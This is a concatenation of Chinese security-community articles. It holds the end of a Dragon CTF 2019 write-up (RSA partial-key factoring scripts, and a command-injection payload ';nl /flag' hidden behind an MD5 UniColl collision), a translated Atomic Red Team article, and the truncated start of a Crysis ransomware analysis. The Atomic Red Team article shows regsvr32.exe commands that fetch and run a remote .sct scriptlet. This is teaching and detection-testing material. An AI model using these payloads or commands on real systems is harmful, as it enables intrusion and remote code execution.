for x in results:
p0 = ZZ(x[0])
if is_prime(p0) and gcd(n,p0)!=1:
return p0
最后解出该场景的参数如下：
n1 = 4232819155839550922279592842719433946891627776859962079814516253452165389036653289438928378562503361802962808867376036446065199400114343981489770467719433842467863790025157645790790546711434342749173114584205175937908175583479179580810260063208858154629604787679080148158778144242635384249890271882097552355559004259916015878919322278402739861284711967004042252592561170311676956442870143264815298550428890342085615270647716168020441562257255689477157387477157201225997667848750302348483724394538068236632998615714647043723202692215390463632895984121932442861483996529680353143769212467480570412438553808228897441253339977829074399
d0_1 = 4649045196470695353390836308229816980123193670378994484653092063162829775325027591589707695443531712311911547784211686738135679083418730545146218582354267299967469877756913949564462524369735344985321925911759639861523989288138280762813588519717108172156784540565137256654620399500030648870656882195855476291698508835
#results
k = 785
p = 188689169745401648234984799686937623590015544678958930140026860499157441295507274434268349194461155162481283679350641089523071656015001291946438485044113564467435184782104140072331748380561726605546500856968771
这里需要注意的一点是，如果我们试图直接执行`find_p(e,d0,n1,1,e)`来执行的话，时间消耗是非常巨大的，也就是说我们是很难跑出来结果的，这里注意到我们在每次循环中所做的运算都是相互独立的，因此我们可以将开区间(0,e)切片成若干个小区间，然后并行计算，这样可以大大减小我们跑脚本所需要的时间，对于后面的几种场景我们也同样需要采用并行计算的方法来跑出结果。
### 场景2：n2 = p2 * q2 * r;n3 = p3 * q3 * r
首先我们根据模不互素的思路找到n2、n3和r：
import itertools
n = [859120656206379031921714646885063910105407651892527052187347867316222596884434658659405822448255608155810241715879240998190431705853390924506125009673776539735775578734295308956647438104082568455604755897347443474837969627723792555180605570061543466558710984713039896691188382997755705425087392982168984185229388761020298907843938651747237132404355197739247655148879984476412365078220648181358131779226613410257975180399575865809381114503102493767755197618305439592514756307937482535824886677028869214462143121897901687818277055753103973809215799348093165770108731899625440232334370794010877047571087634088643565878666814823597,1311485515090222718982495198730831073955174624382380405255882886012541076751694096664143914783345786808989030195914045177845164364400711539537456739170589346033729436625658871146633553503774866142568716068953663977222002088477902235884717082069070796901652820969777833174034685816622756524282480580399883160755030115364291412718061758142515305389808681261201028647918631486855998332674824264495109641835596608336454102370944531225289276734441189842117114187272485368222698210402692987316946307402124818683662256285425749745044473836534317911693431019535047343774304237969249813708212575639444584092633692220540287380100087406907,1575060449430659140207638391055943675863526369065063706350412723523667837574603957873052861827978497667790320751709825539894814309966419985565518167069012257059970719629265514554227032833047486506557616694792185308331642271153817395624694602567048186971822198162003259057599067679515651509006583655734337286195372119659961892695887527649792831639865587192165588971284597107150903552624259996427357055727777299373593229142742726141314990452184229476917038184267241036918602554417997784006066104066098902608890274713296413328177121301222893743767266080583504425094092518398681307182308611729107396812972850405735757668088697847951,4232819155839550922279592842719433946891627776859962079814516253452165389036653289438928378562503361802962808867376036446065199400114343981489770467719433842467863790025157645790790546711434342749173114584205175937908175583479179580810260063208858154629604787679080148158778144242635384249890271882097552355559004259916015878919322278402739861284711967004042252592561170311676956442870143264815298550428890342085615270647716168020441562257255689477157387477157201225997667848750302348483724394538068236632998615714647043723202692215390463632895984121932442861483996529680353143769212467480570412438553808228897441253339977829074399]
for c in itertools.combinations(n, 2):
r = gcd(c[0], c[1])
if r != 1:
print(c[0], c[1])
print(r)
由于引入了r，本题这里的phi变成了(p-1) _(q-1)_ (r-1)，因此我们还需要调整一下场景一的表达式：
即有：
同余式两边同乘上q，有：
整理一下，即：
我们将这一过程写成SageMath脚本如下，实际上跟场景一相比只是替换了solve_mod的表达式：
def find_p(d0, e, n, start, stop):
X = var('X')
for k in xrange(start, stop):
print k
results = solve_mod([e*d0*r*X - k*(n*r*X -n*X - X*X*r*r + X*X*r - n*r + n +X*r*r - X*r) == X*r], 2^1050)
for x in results:
p0 = ZZ(x[0])
if is_prime(p0) and gcd(n,p0)!=1:
return p0
最后解出该场景的参数如下：
n2 = 859120656206379031921714646885063910105407651892527052187347867316222596884434658659405822448255608155810241715879240998190431705853390924506125009673776539735775578734295308956647438104082568455604755897347443474837969627723792555180605570061543466558710984713039896691188382997755705425087392982168984185229388761020298907843938651747237132404355197739247655148879984476412365078220648181358131779226613410257975180399575865809381114503102493767755197618305439592514756307937482535824886677028869214462143121897901687818277055753103973809215799348093165770108731899625440232334370794010877047571087634088643565878666814823597
d0_2 = 6404011758157972703612261793681759246464215350955339624160911161422611520145549655575457659757671312362520534084082807541566604214336116674150997699501607769566852492157994984170248823333294918447786457066546086171046532955584494739314351490726886444164048184241514125678560723782999029659135170314199032519015517483
#results
k = 1041
p = 90298557884682577669238320760096423994217812898822512514104930945042122418007925771281125855142645396913218673571816112036657123492733042972301983242487835472292994595416656844378721884370309120262139835889657
n3 = 1311485515090222718982495198730831073955174624382380405255882886012541076751694096664143914783345786808989030195914045177845164364400711539537456739170589346033729436625658871146633553503774866142568716068953663977222002088477902235884717082069070796901652820969777833174034685816622756524282480580399883160755030115364291412718061758142515305389808681261201028647918631486855998332674824264495109641835596608336454102370944531225289276734441189842117114187272485368222698210402692987316946307402124818683662256285425749745044473836534317911693431019535047343774304237969249813708212575639444584092633692220540287380100087406907
d0_3 = 6762547460602241256253304403057840010356965995658332151464306076734886668348338229477220486851971695831025738065540621944954803087639187605826246170852109559079074614119808221929013953607066074389809368603757307759386199129306765569186327590211123849053154881101151177686828760168745679159348065176015209027306930795
#results
k = 877
p = 142270506848638924547091203976235495577725242858694711068289574174127601000137457280276860615471044907560710121669055364010408768146949985099404319539891688093875478389341632242096859500255283810703767020918479
### 场景3：n4 = p4 * q4 * q4
这里的phi变成了(p-1) _(q-1)_ q，因此我们调整一下场景一的表达式即可：
即有：
同余式两边同乘上q，有：
整理一下，即：
我们将这一过程写成SageMath脚本如下，实际上跟场景一相比只是替换了solve_mod的表达式：
def find_p(d0, e, n, start, stop):
X = var('X')
for k in xrange(start, stop):
print k
results = solve_mod([e*d0*X - k*(n*X-n-X*X*X + X*X) == X], 2^1050)
for x in results:
p0 = ZZ(x[0])
if is_prime(p0) and gcd(n,p0)!=1:
return p0
最后解出该场景的参数如下：
n4 = 1575060449430659140207638391055943675863526369065063706350412723523667837574603957873052861827978497667790320751709825539894814309966419985565518167069012257059970719629265514554227032833047486506557616694792185308331642271153817395624694602567048186971822198162003259057599067679515651509006583655734337286195372119659961892695887527649792831639865587192165588971284597107150903552624259996427357055727777299373593229142742726141314990452184229476917038184267241036918602554417997784006066104066098902608890274713296413328177121301222893743767266080583504425094092518398681307182308611729107396812972850405735757668088697847951
d0_2 = 5707521170224254508659672846933818787001135802176783947179706231070761518271823668313158008289673444516064588686080249076540588375157043626677419185625336049313314641249542595200886768114306555416909136568265340888067484302848785272525288608839874074236050840506402897831477010251518458186504962395384666969171250107
#results
k = 572
p = 267307309343866797026967908679365544381223264502857628608660439661084648014195234872217075156454448820508389018205344581075300847474799458610853350116251989700007053821013120164193801622760845268409925117073227
所有的n都分解完了，那么我们直接连续解密恢复flag即可，脚本如下：
from Crypto.Util.number import *
from gmpy2 import invert
#RSA1
e = 1667
n1 = 4232819155839550922279592842719433946891627776859962079814516253452165389036653289438928378562503361802962808867376036446065199400114343981489770467719433842467863790025157645790790546711434342749173114584205175937908175583479179580810260063208858154629604787679080148158778144242635384249890271882097552355559004259916015878919322278402739861284711967004042252592561170311676956442870143264815298550428890342085615270647716168020441562257255689477157387477157201225997667848750302348483724394538068236632998615714647043723202692215390463632895984121932442861483996529680353143769212467480570412438553808228897441253339977829074399
p1 = 188689169745401648234984799686937623590015544678958930140026860499157441295507274434268349194461155162481283679350641089523071656015001291946438485044113564467435184782104140072331748380561726605546500856968771
q1 = n1 / p1
phi1 = (p1 - 1) * (q1 - 1)
d1 = invert(e, phi1)
#RSA2
r = 32619972550448885952992763634430245734911201344234854263395196070105784406551510361671421185736962007609664176708457560859146461127127352439294740476944600948487063407599124272043110271125538616418873138407229
n2 = 859120656206379031921714646885063910105407651892527052187347867316222596884434658659405822448255608155810241715879240998190431705853390924506125009673776539735775578734295308956647438104082568455604755897347443474837969627723792555180605570061543466558710984713039896691188382997755705425087392982168984185229388761020298907843938651747237132404355197739247655148879984476412365078220648181358131779226613410257975180399575865809381114503102493767755197618305439592514756307937482535824886677028869214462143121897901687818277055753103973809215799348093165770108731899625440232334370794010877047571087634088643565878666814823597
p2 = 90298557884682577669238320760096423994217812898822512514104930945042122418007925771281125855142645396913218673571816112036657123492733042972301983242487835472292994595416656844378721884370309120262139835889657
q2 = (n2 / r) / p2
phi2 = (p2 - 1) * (q2 - 1) * (r - 1)
d2 = invert(e, phi2)
#RSA3
n3 = 1311485515090222718982495198730831073955174624382380405255882886012541076751694096664143914783345786808989030195914045177845164364400711539537456739170589346033729436625658871146633553503774866142568716068953663977222002088477902235884717082069070796901652820969777833174034685816622756524282480580399883160755030115364291412718061758142515305389808681261201028647918631486855998332674824264495109641835596608336454102370944531225289276734441189842117114187272485368222698210402692987316946307402124818683662256285425749745044473836534317911693431019535047343774304237969249813708212575639444584092633692220540287380100087406907
p3 = 142270506848638924547091203976235495577725242858694711068289574174127601000137457280276860615471044907560710121669055364010408768146949985099404319539891688093875478389341632242096859500255283810703767020918479
q3 = (n3 / r) / p3
phi3 = (p3 - 1) * (q3 - 1) * (r - 1)
d3 = invert(e, phi3)
#RSA4
n4 = 1575060449430659140207638391055943675863526369065063706350412723523667837574603957873052861827978497667790320751709825539894814309966419985565518167069012257059970719629265514554227032833047486506557616694792185308331642271153817395624694602567048186971822198162003259057599067679515651509006583655734337286195372119659961892695887527649792831639865587192165588971284597107150903552624259996427357055727777299373593229142742726141314990452184229476917038184267241036918602554417997784006066104066098902608890274713296413328177121301222893743767266080583504425094092518398681307182308611729107396812972850405735757668088697847951
q4 = 267307309343866797026967908679365544381223264502857628608660439661084648014195234872217075156454448820508389018205344581075300847474799458610853350116251989700007053821013120164193801622760845268409925117073227
p4 = n4 / (q4 * q4)
d4 = invert(e, (p4 - 1) * (q4 - 1) * q4)
ct = 594744523070645240942929359037746826510854567332177011620057998249212031582656570895820012394249671104987340986625186067934908726882826886403853350036347685535238091672944302281583099599474583019751882763474741100766908948169830205008225271404703602995718048181715640523980687208077859421140848814778358928590611556775259065145896624024470165717487152605409627124554333901173541260152787825789663724638794217683229247154941119470880060888700805864373121475407572771283720944279236600821215173142912640154867341243164010769049585665362567363683571268650798207317025536004271505222437026243088918839778445295683434396247524954340356
rsa1 = (n1, d1)
rsa2 = (n2, d2)
rsa3 = (n3, d3)
rsa4 = (n4, d4)
rsa = sorted([rsa1, rsa2, rsa3, rsa4], reverse=True)
for n, d in rsa:
ct = pow(ct, d, n)
print(long_to_bytes(ct))
执行脚本即可得到flag：
DrgnS{w3_fiX3d_that_f0r_y0U}
## Looking glass
题目描述如下：
We found some shady Looking Glass service. Pretty sure there is a way to get
that delicious /flag.
<http://lg.hackable.software:8080/>
[src.tgz](https://github.com/ichunqiu-resources/anquanke/raw/master/005/src.tgz)
访问目标网站，发现可以使用`ping`或`traceroute`加一些参数来执行命令，我们定位到这一部分的代码段如下：
switch c := cmd.Command.(type) {
case *Command_PingCommand:
commandline = fmt.Sprintf("ping -%d -c %d %s", c.PingCommand.GetIpVersion(), c.PingCommand.GetCount(), c.PingCommand.GetAddress())
case *Command_TracerouteCommand:
commandline = fmt.Sprintf("traceroute -%d %s", c.TracerouteCommand.GetIpVersion(), c.TracerouteCommand.GetAddress())
}
// --snip-- e := exec.CommandContext(ctx, "/bin/sh", "-c", commandline)
通过查看源码，我们发现用户使用[protobuf](https://protogen.marcgravell.com/decode)来发送消息，发送的消息可以是`ping`请求也可以是`traceroute`请求，同时用户还需要提供请求查询的地址（当然不提供也可以执行，因为有默认地址）。从这段代码中我们不难发现，如果我们可以任意设置地址内容，那么很容易实现远程代码执行，但是这里我们的地址是被严格限制的，即地址的字符不能超出`a-z0-9.`这一字符集，因此我们需要进一步去分析。
由于我们需要使用protobuf来发送消息，我们首先以执行`ping
google.com`这条命令为例来看一下protobuf的基本格式，payload如下：
0A-10-0A-0A-67-6F-6F-67-6C-65-2E-63-6F-6D-10-01-18-04
该payload的格式为：
0A：field 1, type String（这里解释一下，0A的二进制为00001010，其中前5位00001表示field，即field 1，后3位010表示type，type 2为字符串类型）
10：长度为0x10，表示的是从该字节往后的所有字节的长度（即0A-0A-67-6F-6F-67-6C-65-2E-63-6F-6D-10-01-18-04）
0A：field 1, type String
0A：长度为0xA，表示的是从该字节往后的所有字节的长度（即67-6F-6F-67-6C-65-2E-63-6F-6D-10-01-18-04）
67-6F-6F-67-6C-65-2E-63-6F-6D：google.com的16进制形式
10：field 2, type Variant
01：1 - ping count
18：field 3, type Variant
04：4 - ipv4
在本题的环境下我们最后的`10011804`（即field 2和field
3）是默认的，我们可以在这里忽略这一部分。为了便于读者理解，在这里我们可以把这个payload格式抽象成`0A 后面的长度 0A 后面的长度
地址`这种格式，关于Protobuf的格式我们也可以通过这个在线的[Protobuf
Decoder](https://protogen.marcgravell.com/decode)来进一步了解。
虽然对地址部分限制很严格，但是我们进一步审计可以发现如下代码：
func (v *validator) Valid(data []byte) *Command {
if len(data) > 270 {
return nil
}
key := md5bytes(data)
v.lock.Lock()
defer v.lock.Unlock()
var cmd Command
if err := proto.Unmarshal(data, &cmd); err != nil {
return nil
}
var address string
switch c := cmd.Command.(type) {
case *Command_PingCommand:
address = c.PingCommand.GetAddress()
case *Command_TracerouteCommand:
address = c.TracerouteCommand.GetAddress()
}
valid, ok := v.cache.Get(key)
if ok && valid.(bool) {
return &cmd
} else if checkAddress(address) {
v.cache.Add(key, true)
return &cmd
}
return nil
}
分析代码可知，这里网站引入了LRU
缓存机制，即我们的请求如果已经在缓存中存在，那么就不再进行地址过滤了，缓存中的内容是以MD5哈希的形式存在的，那么这里我们就可以设想一种攻击思路：如果我们能够构造两条payload，第一条是合法的，就是很单纯的ping一个合法地址，不会被网站过滤；第二条是非法的，可以实现远程代码执行，会被网站过滤，但是这两条payload具有相同的MD5哈希值，我们可以先发送第一条payload，然后网站接收并将其MD5哈希写入缓存，然后我们再发送第二条payload，由于两条的payload的MD5哈希值相同，网站在cache中匹配成功，因此不会进行地址过滤，此时触发远程代码执行，我们就可以藉由这种方式拿到flag。
与此同时，我们还注意到了protobuf的两个特性，一个是如果我们向payload后面添加新的field，这些新的field可以用来存储任意数据，而且不会被解析。另一个是如果我们在protobuf中有两个相同的field，那么只有最后一个field会被解析，这些特性可能会对我们构造MD5哈希碰撞提供非常大的帮助。
那么接下来我们的任务就是要实现一次MD5哈希碰撞，关于MD5哈希碰撞的攻击主要有两种形式，即相同前缀攻击和选择前缀攻击，那么我们就来分析一下这两种攻击。
我们首先看一下选择前缀攻击，选择前缀可以让我们使用不同的前缀，然后藉由在前缀后面padding碰撞块实现整体的哈希相同的效果，那么我们用一个合法payload做一个前缀，另一个恶意payload做另一个前缀，然后使用选择前缀攻击生成两个哈希值相同的序列就可以了，这样听起来似乎没有什么问题，但是我们一分析就会发现，由于我们的payload的开头是有表示长度的字节的，但是选择前缀攻击生成的碰撞块的长度是我们无法预测的，比如说我把表示payload长度的字节的值写成0x1a，然后我使用选择前缀攻击，发现生成的结果的长度是0x2a，然后我再把表示payload长度的字节的值改成0x2a，然后再次使用选择前缀攻击，这会生成的结果的长度就又变了，因此我们没办法预测生成之后的序列的长度，也就没办法指定长度字节的值，这样二者不匹配，我们就没办法构造一个合法的payload，另外，选择前缀攻击的耗时是非常长的，因此这种攻击方式在这里是行不通的。
那么我们再来看一下相同前缀攻击，相同前缀即指定前缀相同，然后在保持该前缀的基础上通过padding上不同的碰撞块实现哈希碰撞，这种方法生成的结果序列长度是可以预测的，即相同的前缀长度会生成相同的序列长度，而且相同前缀攻击生成序列的速度很快，但是前缀一相同，就等于我们的payload得一样，那我们就无法再构造恶意payload了，因此这种攻击方式在这里也是行不通的。
那么除此之外我们还有其他的攻击方式吗，通过查阅资料我们可以发现，还有有一种比较特殊的相同前缀攻击，它也是需要我们提供相同的前缀，但是在生成的两个结果序列里面，其中一个序列的第10个字节的最后一个比特会发生翻转，比如本来我们提供的前缀是`x00x00x00x00x00x00x00x00x00x00`，那么生成之后的两个序列一个前缀还是`x00x00x00x00x00x00x00x00x00x00`，另一个序列的前缀将变成`x00x00x00x00x00x00x00x00x00x01`，就是它会对前缀做一个微小的修改，那么我们接下来尝试一下能不能利用这1比特的微小变化来达到我们的目的。
根据题目提示，我们假设flag就这`/flag`目录下，我们希望在地址处填入`;nl /flag`，这样一旦执行`ping;nl
/flag`，就会返回给我们flag的值，当然你也可以选择使用`|`代替`;`，使用`cat`代替`nl`等等都可以，只要能够返回给我们flag就行，那么我们就试着构造一下如下payload：
n~"x00"x00"x00"x00"nt;nl /flag"h
我们来分析一下：
第一个字节`n`，其ascii码为0x0A，即我们payload开头的格式（field 1, type String）。
第二个字节`~`，其ascii码为0x7e，表示的是我们后面整个序列的长度，即`"x00"x00"x00"x00"nt;nl
/flag"h`+后面padding的碰撞块的长度，因为碰撞块的长度是可以预测的，因此我们可以直接在这个字节写入正确的长度。
第一个字节`n`，同第一个字节，即在这按照我们payload的格式填写即可（field 1, type String）。
第四个字节`"`，其ascii码为0b00100010，后三位表示type，这里010（即十进制2）表示这是一个string
type，前五位表示field，这里00100（即十进4）表示这是field 4，而field
4是一个不存在的field编号，根据protobuf的规则，该部分会被忽略。
第五个字节`x00`表示该field的长度，这里填0表示不存在长度，也即后面不填充内容。在这里我们之所以指定了一个不存在的field，作用就是用来占位用的，从而保证第10个字节正好是我们需要的部分，后面连续的4个字节`"x00"x00`同理，都是用来占位的。
从第九个字节开始到最后这一段`"x00"nt;nl
/flag"h`，就是比较关键的部分了，我们来看一下，这一段当中的这个`x00`是整个我们构造的payload的第10个字节，如果我们把这段payload当做前缀去做我们前面提到的这种比较特殊的相同前缀攻击的话，我们看一下生成之后的前缀的这一部分内容会变成什么：
第一个前缀：
"x00"nt;nl /flag"h
第二个前缀：
"x01"nt;nl /flag"h
第一个前缀没有进行修改，保持原样，我们来分析一下，首先`"x00`这两个字节还是跟我们前面一样，直接被忽略了，然后又是`"n`（field 4, type
String），后面跟上表示长度`n`的字节，`n`的ascii码是10，正好即后面跟着的`t;nl
/flag`这10个字节，再后面又是一个`"`（field 4,type string），后面跟上`h`，其ascii码为104，由于field 4
是不存在的，因此后面的104个字节都会被忽略（这里的104也是提前算出来的，因为padding的碰撞块是可以预测的）。那么整体看下来我们就会发现，虽然我们写了一大堆，但是所有东西全被忽略了，等于没有提供地址，此时网站就会去ping默认地址，因此整个这一段内容是合法的，并且是可以成功执行的。
第二个前缀翻转了第10个字节的最后一比特，导致`x00`变成了`x01`，这样我们再来分析一下，首先`"`还是跟前面一样是field 4,type
string，表示一个不存在的field，然后后面跟上的长度由原本的`x00`变成了`x01`， **这样一来，紧跟在后面的`"`也就被当做了field
4中的一部分被忽略了，然后后面的`n`在这的含义就发生了变化，由原来的表示field 4的长度，变成了表示field 1，type
string的开头，即变成了一个合法的field**（这里的变化非常之微妙以及巧妙，没有理解的同学可以再多几遍这句话，体会一下其中的变化），这样后面的`t`（ascii码为9）就变成了表示后面跟着的`;nl
/flag`这9个字节，而这9个字节被归在了一个合法的field
1里面，这样一来，由于我们这条序列的哈希和前面的合法序列的哈希一致，因此在缓存中匹配成功，地址不会被过滤，而这里的`;nl
/flag`这条命令又被包裹在了一个合法的field当中，整个payload可以被成功执行，因此成功触发远程代码执行，服务器将会返回flag。
那么接下来我们只要按照上述推理生成两个这种序列即可，这里我们可以使用[UniColl](https://github.com/cr-marcstevens/hashclash)来完成这种比较特殊的MD5相同前缀攻击，使用方法如下：
首先克隆项目，安装依赖、更新：
git clone https://github.com/cr-marcstevens/hashclash.git
cd hashclash/
sudo apt-get install autoconf automake libtool
sudo apt-get install zlib1g-dev libbz2-dev
./install_boost.sh
然后Build：
autoreconf --install
./configure --with-boost=$(pwd)/boost-1.57.0
make
然后建立自己的工作目录：
mkdir cpc_workdir
cd cpc_workdir
然后在我们的工作目录下生成前缀文件：
>>> prefix = '''n~"x00"x00"x00"x00"nt;nl /flag"h'''
>>> f = open('prefix.txt','w')
>>> f.write(prefix)
>>> f.close()
然后在我们的工作目录下执行：
../scripts/poc_no.sh prefix.txt
执行脚本后等待一段时间，我们得到collision1.bin和collision2.bin，查看一下：
>>> f1 = open('collision1.bin','r').read()
>>> f2 = open('collision2.bin','r').read()
>>> f1
'n~"x00"x00"x00"x00"nt;nl /flag"hx04xe6x9b[xe5x1cxbfxe3wgvx9ex03Wxecx81xdexde0wxf4[Wxdcw,:B_xb9xb5xaexf1xd4xed9%xb4xf8xaaxb5 x927xb8dxf7x0bxc0Ux97xb5xaexf9B4x*S2xeaxd2x1fxf7xebx8bsx02x84xa6ex03xcdx0fXdxe0x01xa8Zx15x1bxebxfexedxa7x1dx8fxd8xdcxaexbfx1fx94sxb5xf4pxfcxbfa!gxa0'
>>> f2
'n~"x00"x00"x00"x01"nt;nl /flag"hx04xe6x9b[xe5x1cxbfxe3wgvx9ex03Wxecx81xdexde0wxf4[Wxdcw,:B_xb9xb5xaexf1xd4xed9%xb4xf8xaaxb5 x927xb8dxf7x0bxc0Tx97xb5xaexf9B4x*S2xeaxd2x1fxf7xebx8bsx02x84xa6ex03xcdx0fXdxe0x01xa8Zx15x1bxebxfexedxa7x1dx8fxd8xdcxaexbfx1fx94sxb5xf4pxfcxbfa!gxa0'
>>> f1==f2
False
>>> md5(f1).hexdigest()==md5(f2).hexdigest()
True
符合条件，那么我们将这两条序列发送至服务器，即可得到flag：
DrgnS{w00T_Md5_1N_2OI9?}
## 参考
<https://github.com/p4-team/ctf/tree/master/2019-09-21-dragonctf>
<https://nytr0gen.github.io/writeups/ctf/2019/09/22/teaser-dragon-ctf-2019.html>
<https://github.com/corkami/collisions#unicoll-md5>
<https://github.com/corkami/collisions/blob/master/unicoll.md> | 社区文章 |
# 【技术分享】Atomic Red Team：针对安防设计的新型自动化测试框架
##### 译文声明
本文是翻译文章，文章来源：redcanary.com
原文地址：<https://www.redcanary.com/blog/atomic-red-team-testing/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
从安防角度来看，你如何确保已部署的安全解决方案已经调整完毕，准备迎接对手的实际挑战？你是否正在测试新的或者已有的安全产品，以检测安全威胁？如果你与许多团队一样，那么你可能会缺乏相应的内部资源或专业知识来模拟特定对手所使用的策略或技术。这也是我们最近推出Atomic
Red Team的目的所在。Atomic Red Team是一个开源测试框架，可以测试用户的威胁检测能力。
我们之所以称之为“atomic（原子）”，是因为它可以作为小型组件，方便小型或大型安全团队使用，用来模拟特定攻击者的活动。
该框架地址为：<https://github.com/redcanaryco/atomic-red-team>
**二、意义所在**
MITRE团队收集了大量攻击者所使用的策略，我们认为这是目前最好的仓库之一。MITRE团队做了大量分类工作，为攻击生命周期中各种情况及各种策略提供参考资料。
每个安防人员都应该学习一下[MITRE ATT&CK
Framework](https://attack.mitre.org/wiki/Introduction_and_Overview)。这个框架价值非凡，有助于我们更好地理解当前许多攻击者所具备的能力以及所使用的策略。
**三、使用方法**
Atomic Red Team是一个小型并且便捷的测试框架，与MITRE ATT&CK
Framework相对应。每种测试用例都对应一种特定的攻击策略。通过这种方式，我们希望安防人员能够快速测试他们所使用的安防方案能否应对各种形式的攻击。
使用步骤如下：
1、进行测试前，请确保已事先获得必要的授权许可。未经授权进行测试并不是个好主意，可能会对个人记录产生不良影响。
2、请搭建一台与真实环境相似的测试主机。请确保你所使用的事件收集及EDR（端点检测及响应）解决方案已准备就绪，且端点已登录并处于活跃状态。
3、花点时间制定测试计划或测试方案。测试计划可以有多种形式。比如，我们可以在一个批处理文件中一次性执行所有的探测（Discovery）分支，也可以逐一运行每个分支，在运行中随时验证测试覆盖率。
操作视频如下所示：
**四、测试案例：Regsvr32.exe**
在这个例子中，我们会测试[
**Regsvr32.exe**](https://attack.mitre.org/wiki/Technique/T1117)的覆盖率。
你应该花点时间，了解一下这种攻击方法的相关知识，以理解这个测试用例的上下文背景。
在2016年春季时，我发现了这种攻击方法，当时我需要一种方法来绕过脚本控制策略。作为经过微软签名的工具，这种方法没有对应的补丁，可以轻易绕过或者规避大多数安全控制策略。
当时我发的推文如下：
**五、测试阶段**
这个测试框架分为三个阶段：
**5.1 阶段1：执行测试**
这个测试用例执行起来非常简单，因为所使用的工具在所有Windows工作站上都已默认安装。
请访问此链接查看详细的测试用例。
我们提供了两种方法来进行模拟：本地方法以及远程方法。此外，我们也提供了一个“.sct”示例文件，以辅助运行模拟过程。
**1、本地方法**
对于本地模拟，我们可以使用如下命令及预先提供的.sct文件：
regsvr32.exe /s /u /i:file.sct scrobj.dll
**2、远程方法**
对于远程模拟，你需要一个可以远程访问的服务器，以抓取或下载所需的文件，或者你也可以直接使用gist地址：
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll
请一定要注意执行测试所需的时间。你可以跟踪测试时长来测量测试过程的有效性。
**5.2 阶段2：收集证据**
你所使用的安防解决方案会观察到什么结果？你可能会看到用户目录中发生文件改动现象。你可能会检测到regsvr32.exe向某个外部IP地址发起网络连接。代理日志中可能存在相关记录。你可能会观察到Windows系统正在加载scrobj.dll。或者，你可能不会在端点上或网络中观察到任何行为。这些情况正是我们测试的目的所在。我们希望通过测试来明确可观测结果之间的差异，以进一步改善观测结果。
Red Canary使用EDR传感器来提供相关信息，辅助安防人员检测高级攻击行为。在下文中，我们将这种传感器称之为Carbon Black。
经过分析整理，最终检测结果如上图所示。我们会根据这个结果在Carbon Black中回溯与这次检测有关的事件。
我们通常会把上图称之为Carbon Black
Art图。从更高层次来看，你可以可视化地观察到攻击的执行流程。你可以从这张图中看到由谁启动了什么程序。这张图对我们的分析过程帮助很大，但我们还需要看一下实际数据：
上图中，我们已经收集到攻击所使用的命令以及基本的进程信息。我们可以在这里提取到许多属性信息，包括一些命令行参数。
如上图所示，我们可以进一步挖掘数据，观察攻击中用来获取载荷的网络连接信息。
**5.3 阶段3：开发检测方法**
执行测试用例后，我们发现已部署的安防方案没有一个能正常工作，这就是我们为什么进行测试的原因。基于这个实验结果以及现有的测试能力，你需要使用你所掌握的能力，在这个环境中检测这个攻击事件。
单独抽出这个事件后，你可以观察一下你所收集的所有属性，分析哪些属性可以用于风险警报。对这个例子而言，你可以在Carbon
Black中构建一个关注列表，其中包含特定的文件路径、exe文件、网络连接特征等。
检测方案构建完毕后，我们需要验证一下这种方案是否有效，是否已经过完善优化。如果你设计的检测方案过于宽泛，可以“检测”到每个regsvr32.exe，你将会面临排山倒海般的误报率。但如果你设计的方案过于狭隘，只能检测使用“/s
/u /i”命令的regsvr32.exe，那么只要稍微修改一下命令行参数，所有攻击者都能绕过你的检测方案。
为了在这两者之间找到平衡点，你需要重新运行模拟过程，调整检测标准，直至你找到合适的平衡点。这并不是一个严格的科学过程，你需要持续迭代，才能得到较好的结果。
**六、目标：衡量并改进**
我们的目标之一，就是根据ATT&CK矩阵来衡量我们在覆盖率及功能方面的效果，找到仍需改进的地方。Roberto
Rodriguez（@cyb3rWar0g）提供了一份电子表格以及补充文档，我们可以以此为依据，参考MITRE ATT&CK矩阵找到我们所处的具体位置。
利用Atomic Red
Team，我们可以在模拟环境中运行这些测试用例，验证检测方案的有效性，也可以验证防御控制方案是否正常工作。这份电子表格提供了丰富的信息，蓝队可根据这些知识，通过各种方法来检测这类攻击行为。
**七、总结**
通过这篇文章，我们希望你能获得一些灵感或者具备一些能力，在自己的环境中模拟各类安全威胁。当然，还有许多情况需要模拟。我们非常欢迎大家提供反馈意见，以进一步改进这个框架。需要注意的是，通过这些测试用例，你无法百分百确保自己能检测并防御实际环境中的攻击行为。然而，这个测试过程可以帮助你查找现有检测流程中存在的不足，改善整体响应结果，使攻击者的行动更加困难。
本文成稿离不开Red Canary团队成员以及安全社区的共同协作。期待大家的反馈意见及贡献力量。
如果有任何意见或建议，欢迎联系我们：[email protected] | 社区文章 |
作者：启明星辰ADLab
#### 一、事件介绍
近期，启明星辰ADLab收到客户反馈：由于不明原因，电脑中的文件被加密，无法打开。在得知这一消息后，启明星辰ADLab迅速派遣技术人员赶往客户现场。通过对现场感染机勘验后，我们发现加密后的文件被统一冠以“.bip”后缀名，另外我们还发现被加密的文件目录中有一个勒索提示文件“FILES
ENCRYPTED.txt”，它是由勒索病毒创建的，目的是通知受害者其数据已经被加密，如果想要解密文件，需按照攻击者提供的联系方式支付赎金。被加密的文件和“FILES
ENCRYPTED.txt”内容如下：
被加密的文件和“FILES ENCRYPTED.txt”内容
受感染的电脑在加密完成后或电脑重启后会弹出两个提示框，提示框是由mshta.exe调用Info.hta生成的勒索信息。感染机器的两个Info.hta文件存放路径分别为：
%windir%\System32\Info.hta
%AppData\Romaing\Info.hta
它的主要功能是提示受害人如何联系黑客、如何获得比特币、如何完成支付等信息，提示框内容如下图所示：
勒索提示框
经过现场对受感染机器的技术分析后，我们找到了该勒索病毒的样本程序，样本相关信息如下表所示：
在对该勒索病毒的行为和二进制代码进行深入分析并与已知勒索病毒家族进行横向比对后，我们判定该勒索病毒属于Crysis家族的一个新变种。该家族主要通过钓鱼邮件和利用RDP（Remote
Desktop Protocol)爆破进行传播。
#### 二、攻击历史
2016年6月，国外安全专家发现，能够通过Java
